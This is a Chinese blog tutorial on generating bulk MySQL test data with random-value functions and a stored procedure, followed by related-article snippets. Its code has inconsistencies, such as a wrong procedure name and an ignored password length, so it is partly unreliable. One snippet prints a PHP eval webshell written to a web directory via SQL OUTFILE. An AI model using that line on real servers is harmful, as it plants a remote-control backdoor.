MySQL使用函数和存储过程实现:向数据表快速插入大量测试数据
实现过程
1.创建表
CREATE TABLE `user_info` (`id` INT(11) NOT NULL AUTO_INCREMENT,`name` VARCHAR(20) DEFAULT NULL,`age` INT(3) DEFAULT NULL,`pwd` VARCHAR(20) DEFAULT NULL,`phone_number` VARCHAR(11) DEFAULT NULL,`email` VARCHAR(255) DEFAULT NULL,`address` VARCHAR(255) DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=INNODB AUTO_INCREMENT=1;
2. 开启允许创建函数
查看mysql是否允许创建函数
SHOW VARIABLES LIKE 'log_bin_trust_function_creators';
这个命令的意思是显示MySQL服务器当前的配置参数中是否包含log_bin_trust_function_creators这个参数,如果包含则显示其值。

如果输出结果中包含log_bin_trust_function_creators这个参数,则说明MySQL服务器当前已经开启了二进制日志的存储函数信任功能。如果没有包含,则说明当前未开启该功能。
它控制是否可以信任存储函数创建者,不会创建写入二进制日志引起不安全事件的存储函数。如果设置为0(默认值,为off),用户不得创建或修改存储函数,除非它们具有除CREATE
ROUTINE或ALTER ROUTINE特权之外的SUPER权限。 设置为0还强制使用DETERMINISTIC特性或READS SQL
DATA或NO SQL特性声明函数的限制。 如果变量设置为1,MySQL不会对创建存储函数实施这些限制。 此变量也适用于触发器的创建。

创建函数
1. 生成随机姓名
该函数返回一个随机生成的姓名,可根据需要在函数内指定常见的名字和姓氏列表。
DELIMITER $$
DROP FUNCTION IF EXISTS `rand_name`$$
CREATE DEFINER=`root`@`%` FUNCTION `rand_name`() RETURNS VARCHAR(64) CHARSET utf8
BEGIN
/*姓的随机范围568个*/
DECLARE rand_surname TEXT DEFAULT
'赵钱孙李周吴郑王冯陈褚卫蒋沈韩杨朱秦尤许
何吕施张孔曹严华金魏陶姜戚谢邹喻柏水窦章
云苏潘葛奚范彭郎鲁韦昌马苗凤花方俞任袁柳
酆鲍史唐费廉岑薛雷贺倪汤滕殷罗毕郝邬安常
乐于时傅皮卞齐康伍余元卜顾孟平黄和穆萧尹
姚邵湛汪祁毛禹狄米贝明臧计伏成戴谈宋茅庞
熊纪舒屈项祝董梁杜阮蓝闵席季麻强贾路娄危
江童颜郭梅盛林刁钟徐邱骆高夏蔡田樊胡凌霍
虞万支柯昝管卢莫经房裘缪干解应宗丁宣贲邓
郁单杭洪包诸左石崔吉钮龚程嵇邢滑裴陆荣翁
荀羊於惠甄曲家封芮羿储靳汲邴糜松井段富巫
乌焦巴弓牧隗山谷车侯宓蓬全郗班仰秋仲伊宫
宁仇栾暴甘钭厉戎祖武符刘景詹束龙叶幸司韶
郜黎蓟薄印宿白怀蒲邰从鄂索咸籍赖卓蔺屠蒙
池乔阴鬱胥能苍双闻莘党翟谭贡劳逄姬申扶堵
冉宰郦雍卻璩桑桂濮牛寿通边扈燕冀郏浦尚农
温别庄晏柴瞿阎充慕连茹习宦艾鱼容向古易慎
戈廖庾终暨居衡步都耿满弘匡国文寇广禄阙东
欧殳沃利蔚越夔隆师巩厍聂晁勾敖融冷訾辛阚
那简饶空曾毋沙乜养鞠须丰巢关蒯相查后荆红
游竺权逯盖益桓公万俟司马上官欧阳夏侯诸葛
闻人东方赫连皇甫尉迟公羊澹台公冶宗政濮阳
淳于单于太叔申屠公孙仲孙轩辕令狐钟离宇文
长孙慕容鲜于闾丘司徒司空丌官司寇仉督子车
颛孙端木巫马公西漆雕乐正壤驷公良拓跋夹谷
宰父谷梁晋楚闫法汝鄢涂钦段干百里东郭南门
呼延归海羊舌微生岳帅缑亢况郈有琴梁丘左丘
东门西门商牟佘佴伯赏南宫墨哈谯笪年爱阳佟
第五言福百家姓终';
/*名的随机范围401个常用汉字。*/
DECLARE rand_name TEXT DEFAULT
'的一了是我不在人们有来他这上着个地到大里说去子得也和那要下看天时过出小么起你都把好还多
没为又可家学只以主会样年想能生同老中从自面前头到它后然走很像见两用她国动进成回什边作对
开而已些现山民候经发工向事命给长水几义三声于高正妈手知理眼志点心战二问但身方实吃做叫当
住听革打呢真党全才四已所敌之最光产情路分总条白话东席次亲如被花口放儿常西气五第使写军吧
文运在果怎定许快明行因别飞外树物活部门无往船望新带队先力完间却站代员机更九您每风级跟笑
啊孩万少直意夜比阶连车重便斗马哪化太指变社似士者干石满决百原拿群究各六本思解立河爸村八
难早论吗根共让相研今其书坐接应关信觉死步反处记将千找争领或师结块跑谁草越字加脚紧爱等习
阵怕月青半火法题建赶位唱海七女任件感准张团屋爷离色脸片科倒睛利世病刚且由送切星晚表够整
认响雪流未场该并底深刻平伟忙提确近亮轻讲农古黑告界拉名呀土清阳照办史改历转画造嘴此治北
必服雨穿父内识验传业菜爬睡兴';
/*姓*/
DECLARE surname VARCHAR(2) ;
/*姓的随机数1-576*/
DECLARE surname_num INT(3) DEFAULT FLOOR(RAND()*568)+1;
/*名*/
DECLARE `name` VARCHAR(14) ;
/*名的随机数1-401*/
DECLARE `name_num` INT(3) DEFAULT FLOOR(RAND()*401)+1;
DECLARE `name_num2` INT(3) DEFAULT FLOOR(RAND()*401)+1;
/*名的字数,这里设置为1-2个字。*/
DECLARE `name_no` INT(3) DEFAULT FLOOR(RAND()*2)+1;
#姓
SELECT SUBSTRING(rand_surname,surname_num,1) INTO surname;
IF
name_no=1
THEN
#名
SELECT SUBSTRING(rand_name,name_num,1) INTO `name`;
ELSE
#名
SELECT CONCAT(SUBSTRING(rand_name,name_num,1),SUBSTRING(rand_name,name_num2,1)) INTO `name`;
END IF;
RETURN CONCAT(surname,`name`);
END$$
DELIMITER;

2. 生成随机整数
用于生成一个随机整数,整数的范围由参数 from_num 和 to_num 指定。函数的作用是在指定的范围内生成一个随机整数。
DELIMITER $$
DROP FUNCTION IF EXISTS `rand_num`$$
CREATE FUNCTION rand_num (from_num INT ,to_num INT) RETURNS INT(11)
BEGIN DECLARE i INT DEFAULT 0; SET i = FLOOR(from_num +RAND()*(to_num -from_num+1));
RETURN i;
END$$

3. 生成随机密码
该函数返回一个随机生成的密码,长度由参数 length 指定,默认为字母、数字和特殊字符的随机组合。
DELIMITER $$
DROP FUNCTION IF EXISTS `rand_password`$$
CREATE FUNCTION rand_password(length INT) RETURNS VARCHAR(255)
BEGINDECLARE chars_str varchar(100) DEFAULT 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';DECLARE return_str varchar(255) DEFAULT '';DECLARE i INT DEFAULT 0;DECLARE n INT DEFAULT 10;WHILE i<n DOSET return_str =concat(return_str,substring(chars_str,FLOOR(1+RAND()*62),1));SET i=i+1;END WHILE;RETURN return_str;
END $$

4. 生成随机手机号
该函数返回一个随机生成的手机号码,前缀默认为 “1”,后缀为随机生成的位数。
DELIMITER $$
DROP FUNCTION IF EXISTS `rand_phone_number`$$
CREATE FUNCTION rand_phone_number() RETURNS VARCHAR(11)
BEGINDECLARE prefix VARCHAR(1) DEFAULT '1';DECLARE suffix VARCHAR(10);SET suffix = LPAD(FLOOR(RAND() * 10000000000), 10, '0');RETURN CONCAT(prefix, suffix);
END$$

5. 生成随机email
该函数返回一个随机生成的邮箱地址,前缀长度通过参数 prefix_length 指定,默认为字母和数字的随机组合。
DELIMITER $$
DROP FUNCTION IF EXISTS `rand_email`$$
CREATE FUNCTION rand_email(prefix_length INT) RETURNS VARCHAR(255)
BEGINDECLARE domain VARCHAR(255) DEFAULT 'example.com';DECLARE prefix VARCHAR(255);SET prefix = CONCAT(SUBSTRING('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', FLOOR(1 + RAND() * 62), 1), SUBSTRING('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', FLOOR(1 + RAND() * 62), prefix_length - 1));RETURN CONCAT(prefix, '@', domain);
END$$

6. 生成随机地址
该函数返回一个随机生成的地址,可以根据需求在函数内指定常见的城市和街道列表。
DELIMITER $$
DROP FUNCTION IF EXISTS `rand_address`$$
CREATE FUNCTION rand_address() RETURNS VARCHAR(255)
BEGINDECLARE cities VARCHAR(255) DEFAULT '北京,上海,广州,杭州,成都,西安,宁波,大连';DECLARE streets VARCHAR(255) DEFAULT '和平街,解放路,建设路,西湖路,宽窄箱子,长安路,南塘一街,海港路';DECLARE city VARCHAR(255);DECLARE street VARCHAR(255);SET city = SUBSTRING_INDEX(SUBSTRING_INDEX(cities, ',', FLOOR(1 + RAND() * (LENGTH(cities) - 1))), ',', -1);SET street = SUBSTRING_INDEX(SUBSTRING_INDEX(streets, ',', FLOOR(1 + RAND() * (LENGTH(streets) - 1))), ',', -1);RETURN CONCAT(street, ', ', city);
END$$

创建存储过程
编写存储过程插入数据
CREATE DEFINER=`root`@`%` PROCEDURE `insert_user`(max_num INT)
BEGIN DECLARE i INT DEFAULT 0; # 把autocommit设置成0 SET autocommit = 0; REPEAT SET i = i + 1; INSERT INTO user_info (`name`, age, pwd, phone_number,email,address ) VALUES (rand_name(), rand_num(18,80), rand_password(6),rand_phone_number(),rand_email(9), rand_address()); UNTIL i = max_num END REPEAT; COMMIT;
END
调用存储过程
调用存储过程插入十万条数据
CALL insert_user_info(10000);


我们可以看到数据库中已经有了一万条数据,我们可以用这种方式去虚拟一些数据,然后去测一些sql的执行性能。
好了今天的分享到这里就结束了,觉得对您有用的话就点个赞,谢谢!!!
相关文章:
MySQL使用函数和存储过程实现:向数据表快速插入大量测试数据
实现过程 1.创建表 CREATE TABLE user_info (id INT(11) NOT NULL AUTO_INCREMENT,name VARCHAR(20) DEFAULT NULL,age INT(3) DEFAULT NULL,pwd VARCHAR(20) DEFAULT NULL,phone_number VARCHAR(11) DEFAULT NULL,email VARCHAR(255) DEFAULT NULL,address VARCHAR(255) DEF…...
力扣labuladong——一刷day59
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、力扣549. 二叉树中最长的连续序列二、力扣1325. 删除给定值的叶子节点 前言 像求和、求高度这种基本的二叉树函数很容易写,有时候只要在它们的后…...
接口性能测试 —— Jmeter并发与持续性压测
接口压测的方式: 1、同时并发:设置线程组、执行时间、循环次数,这种方式可以控制接口请求的次数 2、持续压测:设置线程组、循环次数,勾选“永远”,调度器(持续时间),这种…...
redis报错3
INFO: Initializing SpringDispatcherServletdispatcherServlet...
Proteus的网络标号与总线
Proteus为了减少过多、复杂的连线,可以使用网络标号与总线配合使用。 Proteus的导线上添加了网络标号,意味着在Proteus上相同的网络标号是连在一起的,所说在图纸上看不出来。 如下图是比较好的Proteus中使用总线的绘制的图纸。可以效仿着画…...
4、stable diffusion
github 安装anaconda环境 conda env create -f environment.yaml conda activate ldm安装依赖 conda install pytorch1.12.1 torchvision0.13.1 torchaudio0.12.1 cudatoolkit11.3 -c pytorch pip install transformers4.19.2 diffusers invisible-watermark pip install -e…...
LeetCode51. N-Queens
文章目录 一、题目二、题解 一、题目 The n-queens puzzle is the problem of placing n queens on an n x n chessboard such that no two queens attack each other. Given an integer n, return all distinct solutions to the n-queens puzzle. You may return the answe…...
前端vue3——html2canvas给网站截图生成宣传海报
文章目录 ⭐前言⭐选择html2canvas实现网页截图💖 截图 ⭐图片url截图显示不出来问题💖 解决 ⭐最终效果💖 定义海报 ⭐总结⭐结束 ⭐前言 大家好,我是yma16,本文分享关于 前端vue3——html2canvas给网站截图生成宣传…...
C语言实现串的部分算法
一、简介 串(string)(或字符串)是由零个或多个字符组成的有序序列,一般记为 sa1a2....an s为串的名,用单引号括起来的时字符序列串的值,串中字符的数目n称为串的长度。 零个字符的串称为空串…...
UE5、CesiumForUnreal实现加载GeoJson绘制多面(MultiPolygon)功能(支持点选高亮)
文章目录 1.实现目标2.实现过程2.1 数据与预处理2.2 GeoJson解析2.3 Mesh构建与属性存储2.4 核心代码2.5 材质2.6 蓝图应用测试3.参考资料1.实现目标 在之前的文章中,基于GeoJson数据加载,实现了绘制单面功能,但只支持单个要素Feature。本文这里实现对Geojson内所有面要素的…...
pandas教程:USDA Food Database USDA食品数据库
文章目录 14.4 USDA Food Database(美国农业部食品数据库) 14.4 USDA Food Database(美国农业部食品数据库) 这个数据是关于食物营养成分的。存储格式是JSON,看起来像这样: {"id": 21441, &quo…...
0基础学习VR全景平台篇第122篇:VR视频剪辑和输出 - PR软件教程
上课!全体起立~ 大家好,欢迎观看蛙色官方系列全景摄影课程! 开始之前如果没有接触过pr这款软件的话,建议先去看上一篇 认识视频剪辑软件Premiere 大致了解一下pr。 回到正题今天来教大家VR视频的剪辑和输出 我们先双击打开…...
ucharts中,当数据为0时,不显示
当为0时,会显示出来,值比较小的时候,数据会显示在一起,不美观 期望效果: 实现步骤: 我是将uCharts插件下载导入到src/uni_modules下的 1、修改src/uni_modules/qiun-data-charts/js_sdk/u-charts/confi…...
React函数组件渲染两次
渲染两次是因为react默认开启了严格模式 React.StrictMode标签作用: 1、识别不安全的生命周期 2、关于使用过时字符串 ref API 的警告 3、关于使用废弃的 findDOMNode 方法的警告 4、检测意外的副作用 5、检测过时的 context API 注释掉React.StrictMode即为关闭严…...
人工智能 - 图像分类:发展历史、技术全解与实战
目录 一、:图像分类的历史与进展历史回顾深度学习的革命当前趋势未来展望 二:核心技术解析图像预处理神经网络基础卷积神经网络(CNN)深度学习框架 第三部分:核心代码与实现环境搭建数据加载和预处理构建CNN模型模型训练…...
go标准库
golang标准库io包 input output io操作是一个很庞大的工程,被封装到了许多包中以供使用 先来讲最基本的io接口 Go语言中最基本的I/O接口是io.Reader和io.Writer。这些接口定义了读取和写入数据的通用方法,为不同类型的数据源和数据目标提供了统一的接…...
【Web安全】拿到phpMyAdmin如何获取权限
文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…...
Python与GPU编程快速入门(一)
Python与GPU编程快速入门 文章目录 Python与GPU编程快速入门1、图形处理单元(Graphics Processing Unit,GPU)1.1 并行设计1.2 速度优势本系列文章将详细介绍如何在Python中使用CUDA,从而使Python应用程序加速。 1、图形处理单元(Graphics Processing Unit,GPU) 图形处理…...
C语言--每日选择题--Day29
第一题 1. while(1) {x;}, 当x的取合适的初值时,可以避免死循环。 A:正确 B:错误 答案及解析 B 循环条件为1,在条件判断中,0为假,非0为真,1位真,所以无论x取什么,都是死循…...
ESP32:物联网时代的神器
随着物联网技术的不断发展,人们的生活正在发生着翻天覆地的变化。在这个万物互联的时代,ESP32作为一种功能强大的微控制器,正发挥着越来越重要的作用。本文将介绍ESP32的特点和应用,并探讨其在物联网时代的优势和潜力。 一、ESP3…...
接口测试中缓存处理策略
在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...
边缘计算医疗风险自查APP开发方案
核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...
3403. 从盒子中找出字典序最大的字符串 I
3403. 从盒子中找出字典序最大的字符串 I 题目链接:3403. 从盒子中找出字典序最大的字符串 I 代码如下: class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...
rnn判断string中第一次出现a的下标
# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...
解决:Android studio 编译后报错\app\src\main\cpp\CMakeLists.txt‘ to exist
现象: android studio报错: [CXX1409] D:\GitLab\xxxxx\app.cxx\Debug\3f3w4y1i\arm64-v8a\android_gradle_build.json : expected buildFiles file ‘D:\GitLab\xxxxx\app\src\main\cpp\CMakeLists.txt’ to exist 解决: 不要动CMakeLists.…...
Neo4j 完全指南:从入门到精通
第1章:Neo4j简介与图数据库基础 1.1 图数据库概述 传统关系型数据库与图数据库的对比图数据库的核心优势图数据库的应用场景 1.2 Neo4j的发展历史 Neo4j的起源与演进Neo4j的版本迭代Neo4j在图数据库领域的地位 1.3 图数据库的基本概念 节点(Node)与关系(Relat…...
day51 python CBAM注意力
目录 一、CBAM 模块简介 二、CBAM 模块的实现 (一)通道注意力模块 (二)空间注意力模块 (三)CBAM 模块的组合 三、CBAM 模块的特性 四、CBAM 模块在 CNN 中的应用 一、CBAM 模块简介 在之前的探索中…...
从数据报表到决策大脑:AI重构电商决策链条
在传统电商运营中,决策链条往往止步于“数据报表层”:BI工具整合历史数据,生成滞后一周甚至更久的销售分析,运营团队凭经验预判需求。当爆款突然断货、促销库存积压时,企业才惊觉标准化BI的决策时差正成为增长瓶颈。 一…...
